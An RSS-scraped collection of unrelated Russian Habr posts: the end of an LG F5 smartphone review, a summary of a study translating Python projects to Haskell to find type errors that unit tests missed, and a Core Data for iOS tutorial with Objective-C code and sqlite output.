Как я уже говорил, полтора года назад подобные железки вполне можно было встретить во флагманских и HI-End девайсах других компаний, а сегодня они в обычном смартфоне. Достаточно-ли железа для современных потребностей? На мой взгляд — да.

Берём любой обзор LG F5 в интернете, и убеждаемся, что в нём авторы говорят то же самое. Софт от LG неплохо оптимизирован и шустро бегает даже на куда менее производительном железе бюджетных моделей, так что о слове «тормозит» можно вообще не вспоминать. Бюджетным и MID-Range моделям от Samsung с их неподъёмным TouchWiz’ом такое и не снилось.


Если кого-то интересуют результаты бенчмарков, то вот они:


OgcbL1otZ.pngvzhnaE.png




Второй немаловажный фактор в смартфоне, который позиционируется одновременно как недорогой и практичный, — экран. В конце концов, другого способа взаимодействовать с девайсом у нас попросту нет. В F5 установлена IPS матрица с разрешением 960х540 точек. Для диагонали в 4.3 дюйма — вполне нормальный показатель. Конечно, есть модели с HD-разрешением на 4.3 дюймах экрана, но каких-либо ощутимых бонусов с переходом к 720p пользователь не получает, а вот стоимость такой матрицы, яркость подвестки и нагрузки на графическую подсистему вырастают ощутимо.

VAp2a.jpg

На фото яркость установлена ~ на 30% от максимальной.


Углы обзора, цветопередача и яркость с контрастностью находятся на хорошем уровне. Цвета приятные, возможно, девайс чуть «желтит» (смаую малость!), но я бы не назвал это очень уж большим минусом — тёплая картинка не так сильно нагружает глаза, как холодные синие и голубые оттенки при заваленном балансе белого.




В этот раз дизайн и внешний вид корпуса я спустил аж на третью позицию, и не по той причине, что он не заслуживает внимания, а лишь из-за того, что в среднем сегменте есть аспекты поважней, чем стильный внешний вид.

Дизайн — прямое продолжение L-линейки, разве что пластик используется подороже, да общее оформление больше напоминает достаточно неплохие модельки в старшем сегменте.


k6fNUS5DG.jpg


Классическая компановка управляющих элементов, разъёмов и приятные на ощупь материалы + честное стекло поверх экрана. В общем, всё и так видно на фотографиях.


G5vNub7Zm.jpg


cX2MoT.jpg




Признаться, ощущения двоякие. С одной стороны — фича интересная, и в среднем сегменте её днём с огнём не сыщешь. С другой — карта покрытия пока оставляет желать лучшего… Но есть одно «но». Как только мы попадаем в зону действия сети четвертого поколения, интернет становится сложно отличить от хорошего Wi-Fi подключения. Скорость в районе 10 мегабит (бывает и выше), быстрый коннект, неплохая latency — в общем, может, в BattleField последний особо не поиграешь, но комфортно пользоваться интернетом, картами, просматривать видео или даже подключиться через TeamViewer для удалённого управления — это всегда пожалуйста. Тем более что остальная начинка позволяет вполне комфортно работать с другими приложениями, переключаться между несколькими задачами и вообще тенденция к «спуску» hi end фич в MID-сегмент не может не радовать. Сегодня — LTE, а завтра, глядишь, перестанут отстойные камеры в среднесегментники пихать. Кстати, о камере…

Модуль на 5 мегапикселей с автофокусом и без вспышки. С одной стороны — хорошо, что не 10 или 13 раздутых MPx’ов — меньше размер фоточек, а деталей всё равно было бы столько же. С другой — где вспышка, да и люди не поймут, почему не поставили хотя бы 8, которые есть в том же LG L7. Лично я камерой не занимался особенно: погода в Москве была отвратительная, снимать было нечего, да и ничего интересного она не предоставила бы в любом случае.

GMwvB.jpg


Зато ребята из Mobile Review гоняли девайс в хвост и гриву, и они точно так же характеризуют камеру как «среднюю по всем фронтам». Надеюсь, инженеры в LG дойдут-таки до камеры в ближайшем будущем, перепишут весь софт и найдут и покарают того, кто отвечал за камерный JPG. Вроде, не маленькие, оболочку написали толковую, девайсы делают неплохие, даже Goolge выбрал их в качестве поставщика для Nexus-смартфонов, а камерный софт никак не осилят.


В общем, вот пара кадров моих, немного кадров из интернета, а там уж сами решайте, сколько валенков бросить в сторону отдела разработки софта для камер в офисе LG.


Скрытый текст



Если рассматривать только РСТ-аппараты, то в данном ценовом диапазоне (от 10 до 12 тысяч рублей), у F5 конкурентов, с одной стороны, много, а с другой — наверное и нет. В подобном ценовом диапазоне обитают hi end смартфоны двухлетней давности, некоторые mid range девайсы этого и прошлых годов, и все они по-своему «хороши». У кого впихнули HD-экран, и из-за этого смартфон превратился в лагалище. Где-то дохлая батарейка, где-то дурацкий корпус или, наоборот, экран так себе. Да и LTE есть у полутора землекопов.

SlMqIRG.jpg


Среди «серых» девайсов, конкуренция, конечно, обостряется, но давайте будем честными: представляете, сколько будет стоить «серый» F5? :)




У LG получился неплохой и крепкий среднячок: нормальные железки, неплохой экран, приятная оболочка, не заставляющая пользователя плакать кровавыми слезами из-за клоунского оформления, тормозов или странных решений. Плюс LTE. У Samsung’а, вон, не во всех четвёртых галактиках он есть. :) С автономностью также проблем не наблюдается — железо не самое прожорливое, а аккумулятор достался от куда более «заряженного» Optimus G.

Без минусов не обошлось: так себе камера, нет вспышки (за что вспышку-то?!), глянцевый задник через год превратится в царапанный глянцевый задник. Скучаю по крышкам в стиле Galaxy S II — из прочного, гибкого и рифлёного пластика, без каких-либо намёков на пошлый глянец.


angzsuU.jpg


Если принять во внимание цену устройства и все предлагаемые им фичи — я бы поставил 4 балла из 5 возможных. Матовый корпус + вспышка — и были бы все 6 из 5. Простой, быстрый, недорогой, с приятным экраном, да ещё и LTE умеет (а значит можно и к ноутбуку подключиться, в случае чего, и не страдать от «качества» 3G-сетей. Что ещё надо для счастья, если вы не готовы отдавать 20-30 тысяч за смартфон? :)


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends:



Ты фрилансер и тебе надоело делить с индусами кусок хлеба?



Вы пытаетесь открыть публикацию, написанную пользователем xytop, однако статья скрыта в черновики (самим автором или НЛО).



This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends:



[Перевод] Модульного тестирования недостаточно. Нужна статическая типизация!

Когда я работал над своей магистерской диссертацией, я пообещал себе, что опубликую ее в Интернете под свободной лицензией. Я получил степень, но, к сожалению, натолкнулся на одно из неписаных правил ВУЗов — когда вы тратите на интересующий вопрос много времени, он вам надоедает.

Наконец, спустя год, я все-таки ее публикую.

Для тех, кому лень знакомиться с моим полным трудом (в любом случае, 60 страниц текста это не так много для исследовательской работы, но это все же не мало), я предлагаю краткую версию статьи. Прошу заметить, что краткая версия не учитывает некоторые важные сведения, поэтому я прошу писать отзывы только о полной версии.

В своём исследовании я обратил внимание на доводы сторонников динамической типизации, которые считают, что статическая типизация не нужна для выявления ошибок.


Суть их рассуждений в следующем:



  1. Статической типизации недостаточно для выявления багов, поэтому необходимы модульные тесты;

  2. Статическая типизация становится лишней, так как у вас есть тесты;

  3. Из-за статической типизации некоторые корректные программы могут выдавать предупреждения на стадии компиляции.




Несмотря на то, что я много раз слышал эти утверждения, я не мог найти им подтверждение. Поэтому я решил выяснить: действительно ли модульные тесты помогают устранить ошибки типизации. Также меня интересовал еще один вопрос: как часто разработчики используют конструкции языков с динамической типизацией, которые невозможно выразить в языках со статической.



Мой эксперимент заключался в том, чтобы найти opensource-проекты на языке с динамической типизацией, покрытые модульными тестами, а затем вручную транслировать их на статически типизируемый язык. Хотелось выяснить количество дефектов, которые были обнаружены проверкой типов, и сколько динамических конструкций не могут быть непосредственно транслированы в статический язык. Следует подчеркнуть, что в этом эксперименте будет происходить не переписывание кода программы, а ее построчная трансляция с одного языка программирования на другой. Я не учитываю дефекты, которые не были обнаружены проверкой типов, ни любыми другими ошибками, которые не могли возникнуть в оригинальной программе.


Прежде, чем начать эксперимент, нужно было выбрать языки с динамической и статической типизацией для работы.


Критерии для динамического языка были следующими:



  1. этот язык должен быть динамически типизированным;

  2. язык должен поддерживать модульное тестирование;

  3. необходимо достаточное количество opensource-решений на этом языке;

  4. язык должен быть известным и иметь достаточное количество сторонников.




Под эти критерии отлично подходит Python.

Дальше предстояло выбрать статический язык, учитывающий несколько требований:



  1. язык должен выполняться на тех же платформах, что и Python;

  2. язык должен иметь строгую типизацию;

  3. язык должен пользоваться уважением сторонниками статической типизации.




Haskell удовлетворял всем этим требованиям.

Далее я выбрал четыре случайных проекта, которые предстояло транслировать с Python на Haskell: The Python NMEA Toolkit, MIDIUtil, GrapeFruit и PyFontInfo.


The Python NMEA Toolkit



Трансляция с помощью этого решения привела к девяти ошибкам. Три из них возникли из-за неправильного типа входящих параметров, а остальные шесть из-за неверного использования API. Только одна ошибка типа была покрыта модульным тестом. С помощью статической типизации была исправлена одна ошибка, которая проявлялась при исполнении программы. От двух модульных тестов можно было бы избавиться, т.к. они служили лишь для проверки типов. Не обнаружилось ни одной динамической конструкции, которую нельзя было бы транслировать в статическую.
MIDIUtil



Трансляция MIDIUtil привела к выявлению двух ошибок. Одну из них можно было бы отследить с помощью теста. Еще одну устранила бы статическая типизация. Утилита MIDIUtil использует методы struct.pack и struct.unpack, которые не могут быть транслированы в язык Haskell напрямую, поскольку в них используется строка форматирования, содержащая типы аргументов и возвращаемого значения.

Однако во всех случаях использования, форматирующие строки были жестко закодированы, так что код на Haskell мог использовать вместо них жёстко кодированные функции, не теряя выразительности. Если бы в MIDIUtil такие строки хранились в конфигурационном файле, то для её трансляции в язык со статической типизацией пришлось бы серьёзно поработать над архитектурой решения.
GrapeFruit



Трансляция из GrapeFruit не вызвала никаких ошибок. А единственную ошибку во время исполнения могла бы ликвидировать статическая типизация. Следует заметить, что статическая типизация помогла бы избавиться от одного теста. Не нашлось ни одной динамической конструкции, непереводимой в статическую.
PyFontInfo



Перевод из PyFontInfo привел к выявлению 6 ошибок типов. Две ошибки при исполнении можно было бы устранить при использовании статической типизации. От одного теста можно было бы избавиться. PyFontInfo тоже использует struct.pack и struct.unpack, поэтому не может быть переведен в Haskell, но это ограничение можно обойти.
Результаты



Опыт показал, что все проекты без особого труда можно было бы транслировать на язык со статической типизацией, причем изменения были бы минимальными. Выяснилось, что модульное тестирование нельзя назвать адекватной заменой статической типизации. В ходе эксперимента обнаружилось 17 ошибок типизации, которые не были обнаружены тестами; но многие ошибки тестами все-таки покрывались.
Заключение



Результаты эксперимента показывают, что модульное тестирование не может считаться заменой статической типизации и не учитывает все проблемы. Существенной проблемой является и то, что построение грамотного теста для типов трудоемко, а в языках со статической типизацией это делается автоматически. Применение статической проверки типов для программ, написанных на динамических языках, позволило бы выявить дефекты, которые не обнаруживаются тестами. И в то же время не требуют крупной переработки архитектуры.

Опыт показал новый взгляд на проблему избавления от ошибок типизации с помощью юнит-тестов. Надеюсь, что это кого-то заинтересует, и они проведут эксперимент на других проектах.

Полную версию статьи вы можете прочитать здесь.

This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends:



Pro Core Data for iOS. Глава №2. Практическая часть

Хабралюди, добрый день!

Сегодня хочу начать вольный перевод книги Михаеля Привата и Роберта Варнера «Pro Core Data for iOS», которую можете скачать по этой ссылке. Каждая глава будет содержать теоретическую и временами практическую часть.

image


Содержание:



  • Глава №1. Приступаем (Практическая часть)

  • Глава №2. Усваиваем Core Data (Практическая часть)

  • Глава №3. Хранение данных: SQLite и другие варианты

  • Глава №4. Создание модели данных

  • Глава №5. Работаем с объектами данных

  • Глава №6. Обработка результатирующих множеств

  • Глава №7. Настройка производительности и используемой памяти

  • Глава №8. Управление версиями и миграции

  • Глава №9. Управление таблицами с использованием NSFetchedResultsController

  • Глава №10. Использование Core Data в продвинутых приложениях





Вступление



Будем мы создавать вот такую модель:

image

Затем добавим несколько записей и запросим их. Вывод будет производиться в консоль, чтобы мы не задавались еще и вопросами визуальными.

Готовы? Тогда поехали!


Описание



Будем создавать объектный граф нашего любимого ресурса — Хабра.

Есть N основных объектов:


  • Запись в блоге

  • Пользователь

  • Теги

  • Хабы

  • Вопросы

  • Ответы

  • Учетная запись компании




Этого будет достаточно.

Какие данные содержит каждый из объектов?



  • Запись в блоге — заголовок, текст

  • Пользователь — ник, карма, рейтинг, пол, аватар, почтовый ящик

  • Тег — наименование

  • Хаб — наименование, профильный ли хаб

  • Вопрос — заголовок, текст

  • Ответ — текст

  • Учетная запись компании — наименование организации, рейтинг


Приступаем к работе



Открываем XCode и создаём новый проект Single View Application:


Вводим наименование проекта, префиксы и прочее:

image


Знакомое окно:

image


Добавляем Core Data



Добавляем Core Data Framework в проект:

image
Создаем модели



Добавить новый файл -> iOS -> CoreData -> Data Model

image

image

Начнём с записи в блоге.

Создаем новую сущность и называем её Blogpost, добавляем два атрибута caption (String) и text (String).

image


Создаем новую сущность и называем её User, добавляем атрибуты avatar (String), email (String), gender (Decimal), karma (Integer 16), nickname (String), rating (Integer 16).

image


Создаем новую сущность и называем её Tag, добавляем всего один атрибут name (String).

image


Создаем новую сущность и называем её Hab, добавляем два атрибута name (String), target (Boolean).

image


Создаем новую сущность и называем её Question, добавляем два атрибута caption (String), text (String).

image


Создаем новую сущность и называем её Response, добавляем один атрибут text (String).

image


Создаем новую сущность и называем её Organization, добавляем два атрибута name (String), rating (Integer 16).

image


Вот что у нас есть в итоге:

image


Теперь займемся установкой отношений между объектами.

У учетной записи компании есть множество пользователей (сотрудников).

У пользователя есть множество записей в блоге, у записи в блоге есть множество тегов и хабов.

У пользователя есть множество вопросов, а у вопроса множество ответов.


Начнем с построение связи «учетная запись компании» (один-ко-многим) «пользователи».

Выбираем из списка сущностей Organization и добавляем новую связь нажав на "+" в разделе Relationships:

image


Так как по умолчанию XCode создаёт связь один-к-одному мы должны изменить тип связи:

image


Теперь у каждой организации есть множество пользователей. Поле Inverse (обратная связь) мы сейчас тоже установим, но предварительно добавим новую связь в сущность Пользователя и назовем её organization (организация в которой работает пользователь, а если он не работает нигде, то поле будет null):

image


Теперь вновь откроем редактирование сущности Organization и установим поле Inverse в organization:

image


Вот как стал выглядеть теперь объектный граф:

image


Попробуйте расставить остальные связи сами, а затем сверьте с тем, что у меня получилось.

Вы знаете как создать связь, вы знаете как изменить тип связи с один-к-одному на один-ко-многим — этого будет достаточно.

Итоговая картина:

image


Создаем организацию



Уже имеем в AppDelegate.h такое:

//
// TMAppDelegate.h
// Habrahabr
//
// Created by AndrewShmig on 8/31/13.
// Copyright (c) 2013 TM. All rights reserved.
//

#import <UIKit/UIKit.h>
#import <CoreData/CoreData.h>

@class TMViewController;

@interface TMAppDelegate : UIResponder <UIApplicationDelegate>

@property (strong, nonatomic) UIWindow *window;
@property (strong, nonatomic) TMViewController *viewController;

@property (nonatomic, strong) NSManagedObjectModel *managedObjectModel;
@property (nonatomic, strong) NSPersistentStoreCoordinator *persistentStoreCoordinator;
@property (nonatomic, strong) NSManagedObjectContext *managedObjectContext;

@end




И в AppDelegate.m:

//
// TMAppDelegate.m
// Habrahabr
//
// Created by AndrewShmig on 8/31/13.
// Copyright (c) 2013 TM. All rights reserved.
//

#import "TMAppDelegate.h"

@implementation TMAppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
return YES;
}

#pragma mark - Core Data Stack

- (NSManagedObjectModel *)managedObjectModel
{
if(nil != _managedObjectModel)
return _managedObjectModel;

_managedObjectModel = [NSManagedObjectModel mergedModelFromBundles:nil];

return _managedObjectModel;
}

- (NSPersistentStoreCoordinator *)persistentStoreCoordinator
{
if(nil != _persistentStoreCoordinator)
return _persistentStoreCoordinator;

NSURL *storeURL = [[[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory
inDomains:NSUserDomainMask] lastObject] URLByAppendingPathComponent:@"Habrahabr.sqlite"];

NSError *error = nil;
_persistentStoreCoordinator = [[NSPersistentStoreCoordinator alloc] initWithManagedObjectModel:self.managedObjectModel];
if(![_persistentStoreCoordinator addPersistentStoreWithType:NSSQLiteStoreType configuration:nil URL:storeURL options:nil error:&error]){
NSLog(@"Unresolved error %@, %@", error, [error userInfo]);
abort();
}

return _persistentStoreCoordinator;
}

- (NSManagedObjectContext *)managedObjectContext
{
if(nil != _managedObjectContext)
return _managedObjectContext;

NSPersistentStoreCoordinator *store = self.persistentStoreCoordinator;
if(nil != store){
_managedObjectContext = [[NSManagedObjectContext alloc] init];
[_managedObjectContext setPersistentStoreCoordinator:store];
}

return _managedObjectContext;
}

@end




Перепишем метод application:didFinishLaunchingWithOptions: таким образом:

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
// Создаем организацию
NSManagedObject *yandex = [NSEntityDescription insertNewObjectForEntityForName:@"Organization"
inManagedObjectContext:self.managedObjectContext];
[yandex setValue:@"Yandex Inc." forKey:@"name"];
[yandex setValue:@672 forKey:@"rating"];

// создаем сотрудников Yandex
NSManagedObject *pupkin = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:self.managedObjectContext];
[pupkin setValue:@"VaseaPup" forKey:@"nickname"];
[pupkin setValue:@"vasilisa@yandex.ru" forKey:@"email"];
[pupkin setValue:@1 forKey:@"gender"]; // 0 - unknown, 1 - male, 2 - female
[pupkin setValue:@0 forKey:@"karma"];
[pupkin setValue:@0 forKey:@"rating"];

NSManagedObject *gosha = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:self.managedObjectContext];
[gosha setValue:@"Goshka" forKey:@"nickname"];
[gosha setValue:@"gosha.k@yandex.ru" forKey:@"email"];
[gosha setValue:@0 forKey:@"gender"];
[gosha setValue:@0 forKey:@"karma"];
[gosha setValue:@0 forKey:@"rating"];

// связываем сотрудников с компанией
NSMutableSet *employees = [yandex mutableSetValueForKey:@"employees"];
[employees addObject:pupkin];
[employees addObject:gosha];

// сохраняем данные в хранилище
[self saveContext];

NSLog(@"Finish!");

return YES;
}




Запустим приложение. Данные должны были быть сохранены. Проверим это.

Найдем файл Habrahabr.sqlite:

image

Запустим терминал и проверим структуру БД:



AndrewShmigs-MacBook-Pro:~ new$ cd "/Users/new/Library/Application Support/iPhone Simulator/6.1/Applications/95B0716A-9C2C-4BD8-8117-62FB46BB5879"
AndrewShmigs-MacBook-Pro:95B0716A-9C2C-4BD8-8117-62FB46BB5879 new$ ls
Documents Habrahabr.app Library tmp
AndrewShmigs-MacBook-Pro:95B0716A-9C2C-4BD8-8117-62FB46BB5879 new$ cd Documents/
AndrewShmigs-MacBook-Pro:Documents new$ ls
Habrahabr.sqlite
AndrewShmigs-MacBook-Pro:Documents new$ sqlite3 Habrahabr.sqlite
SQLite version 3.7.12 2012-04-03 19:43:07
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> .schema
CREATE TABLE ZBLOGPOST ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZAUTHOR INTEGER, ZCAPTION VARCHAR, ZTEXT VARCHAR );
CREATE TABLE ZHAB ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZTARGET INTEGER, ZBLOGPOSTS INTEGER, ZNAME VARCHAR );
CREATE TABLE ZORGANIZATION ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZRATING INTEGER, ZNAME VARCHAR );
CREATE TABLE ZQUESTION ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZAUTHOR INTEGER, ZCAPTION VARCHAR, ZTEXT VARCHAR );
CREATE TABLE ZRESPONSE ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZQUESTION INTEGER, ZTEXT VARCHAR );
CREATE TABLE ZTAG ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZBLOGPOST INTEGER, ZNAME VARCHAR );
CREATE TABLE ZUSER ( Z_PK INTEGER PRIMARY KEY, Z_ENT INTEGER, Z_OPT INTEGER, ZKARMA INTEGER, ZRATING INTEGER, ZORGANIZATION INTEGER, ZGENDER DECIMAL, ZAVATAR VARCHAR, ZEMAIL VARCHAR, ZNICKNAME VARCHAR );
CREATE TABLE Z_METADATA (Z_VERSION INTEGER PRIMARY KEY, Z_UUID VARCHAR(255), Z_PLIST BLOB);
CREATE TABLE Z_PRIMARYKEY (Z_ENT INTEGER PRIMARY KEY, Z_NAME VARCHAR, Z_SUPER INTEGER, Z_MAX INTEGER);
CREATE INDEX ZBLOGPOST_ZAUTHOR_INDEX ON ZBLOGPOST (ZAUTHOR);
CREATE INDEX ZHAB_ZBLOGPOSTS_INDEX ON ZHAB (ZBLOGPOSTS);
CREATE INDEX ZQUESTION_ZAUTHOR_INDEX ON ZQUESTION (ZAUTHOR);
CREATE INDEX ZRESPONSE_ZQUESTION_INDEX ON ZRESPONSE (ZQUESTION);
CREATE INDEX ZTAG_ZBLOGPOST_INDEX ON ZTAG (ZBLOGPOST);
CREATE INDEX ZUSER_ZORGANIZATION_INDEX ON ZUSER (ZORGANIZATION);
sqlite> select * from ZORGANIZATION;
1|3|1|672|Yandex Inc.
sqlite> select * from ZUSER;
1|7|1|0|0|1|0||gosha.k@yandex.ru|Goshka
2|7|1|0|0|1|1||vasilisa@yandex.ru|VaseaPup
sqlite>




Добавим теперь одному из сотрудников вопрос и создадим какой-то пост.

// добавляем сотруднику Гоше вопрос
NSManagedObject *whoAmI = [NSEntityDescription insertNewObjectForEntityForName:@"Question"
inManagedObjectContext:self.managedObjectContext];
[whoAmI setValue:@"Who am I?" forKey:@"caption"];
[whoAmI setValue:@"Помогите мне узнать себя лучше." forKey:@"text"];

NSMutableSet *goshasQuestions = [gosha mutableSetValueForKey:@"questions"];
[goshasQuestions addObject:whoAmI];




Запустим приложение и проверим БД:

sqlite> select * from ZQUESTION;
1|4|1|4|Who am I?|Помогите мне узнать себя лучше.
sqlite>




Добавим блогпост сотруднику Васе Пупкину:

// добавляем сотруднику Васе Пупкину новый блогпост
NSManagedObject *newPost = [NSEntityDescription insertNewObjectForEntityForName:@"Blogpost"
inManagedObjectContext:self.managedObjectContext];
[newPost setValue:@"yandex.Деньги & yandex.Карты & yandex.ДваСтвола" forKey:@"caption"];
[newPost setValue:@"Some text" forKey:@"text"];

// добавляем два Хаба
NSManagedObject *hab1 = [NSEntityDescription insertNewObjectForEntityForName:@"Hab"
inManagedObjectContext:self.managedObjectContext];
[hab1 setValue:@"iOS" forKey:@"name"];
[hab1 setValue:@YES forKey:@"target"];

NSManagedObject *hab2 = [NSEntityDescription insertNewObjectForEntityForName:@"Hab"
inManagedObjectContext:self.managedObjectContext];
[hab2 setValue:@"Objective-C" forKey:@"name"];
[hab2 setValue:@YES forKey:@"target"];

NSMutableSet *habs = [newPost mutableSetValueForKey:@"habs"];
[habs addObject:hab1];
[habs addObject:hab2];

[[pupkin mutableSetValueForKey:@"blogposts"] addObject:newPost];




И вывод:

sqlite> select * from ZBLOGPOST;
1|1|1|5|yandex.Деньги & yandex.Карты & yandex.ДваСтвола|Some text
sqlite> select * from ZHAB;
1|2|1|1|1|iOS
2|2|1|1|1|Objective-C
sqlite>


Вывод данных



Выведем всех сотрудников и наименования компаний в которых они работают. Код для чтения данных будем писать в том же методе в котором писали и запись данных.

NSFetchRequest *fetchRequest = [[NSFetchRequest alloc] initWithEntityName:@"User"];
NSArray *allUsers = [self.managedObjectContext executeFetchRequest:fetchRequest error:nil];

for(NSManagedObject *user in allUsers){
NSString *nickname = [user valueForKey:@"nickname"];
NSString *organization = [user valueForKeyPath:@"organization.name"];

NSLog(@"%@ works at %@", nickname, organization);
}




Получим примерно такой вывод (приложение у меня запускалось несколько раз и данные тоже несколько раз были добавлены):

2013-08-31 13:00:27.255 Habrahabr[18148:c07] Goshka works at Yandex Inc.
2013-08-31 13:00:27.257 Habrahabr[18148:c07] VaseaPup works at Yandex Inc.
2013-08-31 13:00:27.258 Habrahabr[18148:c07] VaseaPup works at Yandex Inc.
2013-08-31 13:00:27.258 Habrahabr[18148:c07] Goshka works at Yandex Inc.
2013-08-31 13:00:27.259 Habrahabr[18148:c07] VaseaPup works at Yandex Inc.
2013-08-31 13:00:27.259 Habrahabr[18148:c07] Goshka works at Yandex Inc.
2013-08-31 13:00:27.260 Habrahabr[18148:c07] Finish!




Обратите внимание на то, как мы получили наименование организации в которой работает пользователь. Как Вам? А? Я так и думал, что понравится!
В завершение



Экспериментируйте! Не бойтесь, если что-то сломается, полный проект находится по этой ссылке.

Удачи и благодарю за внимание!

Надеюсь вам понравилась практическая часть.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: